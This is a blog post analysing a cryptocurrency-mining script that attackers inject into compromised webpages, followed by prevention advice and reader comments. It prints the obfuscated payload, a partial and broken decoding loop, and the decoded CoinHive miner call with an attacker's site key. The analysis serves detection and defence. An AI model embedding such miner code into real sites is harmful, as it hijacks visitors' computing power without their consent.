Analysis of an embedded javascript cryptocurrency miner malware

Unfortunately the combination of weak content management security combined with CoinHive have made it quite easy for attackers to embed cryptocurrency miners into webpages. Using obfuscated code, malware authors are able to insert javascript into pages that evade detection.

Browser users can use addons that blacklist access to coinhive javascript libraries and the many duplicates that are popping up, but much like antivirus, they merely block known versions.

Example Attack Code Remote Repository:

Use: Embeded into webpages

<script type='text/javascript' src=""></script>


(function (id){
      var s = "=tdsjqu!tsd>#iuuqt;00dpjoijwf/dpn0mjc0dpjoijwf/njo/kt#?=0tdsjqu?
var res = "";
var stringLength = s.length;
var flag = false;
for(var i = 0; i < stringLength; i++){
if(s.charCodeAt(i) == 40){
if(flag) continue;
res += "\'" + id;
flag = true;
res += String.fromCharCode(s.charCodeAt(i)-1);
('i2y4BgTPHv3upoWyw0XCXZRn6RgWnKdw'); // I assume this is here for the attackers own

1) var s = the main payload string

2) s.charCodeAt(i)-1 recodes s string to unicode string with values “shifted” by -1


3) fromCharCode() method converts unicode values into characters

<script src=""></script>
<script> var miner = new CoinHive.Anonymous('i2y4BgTPHv3upoWyw0XCXZRn6RgWnKdw',
{ throttle: 0.2 });miner.start();</script>

For browser prevention

For Firefox: Nominer
For Chrome: No Coin

For Website Injection Prevention

To prevent any rogue code being injected into your website files, or unauthorised files being added to your Content Management System (CMS) files repository, keep your CMS website, themes and plugins up to date, choose themes and plugins carefully, use secure webhosting.

Some security addons like Pareto Security can capture attempts to append code into WordPress, but none of these are as effective as following the above advice.

3 Replies to “Analysis of an embedded javascript cryptocurrency miner malware”

  1. My poor WordPress site has finally been hacked, has all sorts of URL’s to a wide variety of spam sites. Any assistance will be appreciated.

  2. I actually prefer CoinHive crypto mining captcha over anti-tor google’s recaptcha.
    However the background mining is a bit too much, i like the idea thougu, things are evolving, and it’s the site owner problem letting people XSS it and activating the miner by clicking a button on cookie-like notice should be fair. remember that cookies were considered evil and technically they do use your computers resource and both can be abused by the implementer like everything else.
    It’s just my point of view, ads and miners both generate a very small amount that using visitors cpu power is useless that it becomes kinda bad but many devs choose to make things easier for themselves by passing the pain to users using electron so it isn’t a really new concept but the purpose is.

Leave a Reply

Your email address will not be published. Required fields are marked *